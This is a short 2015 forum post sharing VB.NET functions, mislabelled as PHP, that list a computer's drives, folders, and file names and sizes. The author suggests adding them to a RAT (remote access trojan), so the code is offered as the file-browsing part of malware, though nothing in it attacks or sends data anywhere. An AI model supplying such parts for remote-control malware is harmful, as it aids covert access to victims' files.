Feb 2, 2015 02:38 PM
(This post was last modified: Feb 2, 2015 02:39 PM by xVipX.)
PHP Code
<?php
Public Function getmyDrives() As String
Dim allDrives As String = ""
For Each d As DriveInfo In My.Computer.FileSystem.Drives
Select Case d.DriveType
Case 3
allDrives += "Drive" & d.Name & "split !" 'get only drive [cd...]
Case 5
allDrives += "[CD]" & d.Name & "split !"
End Select
Next
Return allDrives
End Function
Public Function getmyFolders(ByVal location) As String
Dim di As New DirectoryInfo(location)
Dim folders = ""
For Each subdi As DirectoryInfo In di.GetDirectories 'get my folder system
folders += "[Folder]" & subdi.Name & "folder"
Next
Return folders
End Function
Public Function getFiles(ByVal location) As String
Dim dir As New System.IO.DirectoryInfo(location)
Dim files = ""
For Each f As System.IO.FileInfo In dir.GetFiles("*.*")
files += f.Name & "file" & f.Length.ToString & "file" 'get my name file & size :)
Next
Return files 'return
End Function
this simple file filemanager function coding by me :)
you can tested like this
getmyDrives() 'drives
getmyFolders("location") 'folder
getFiles("C:\Windows") '<<ex give y size & name & Extension
you can add this function on you RAT
if you have any question or someyhing like that posit he
don t forget credit :)
good luck
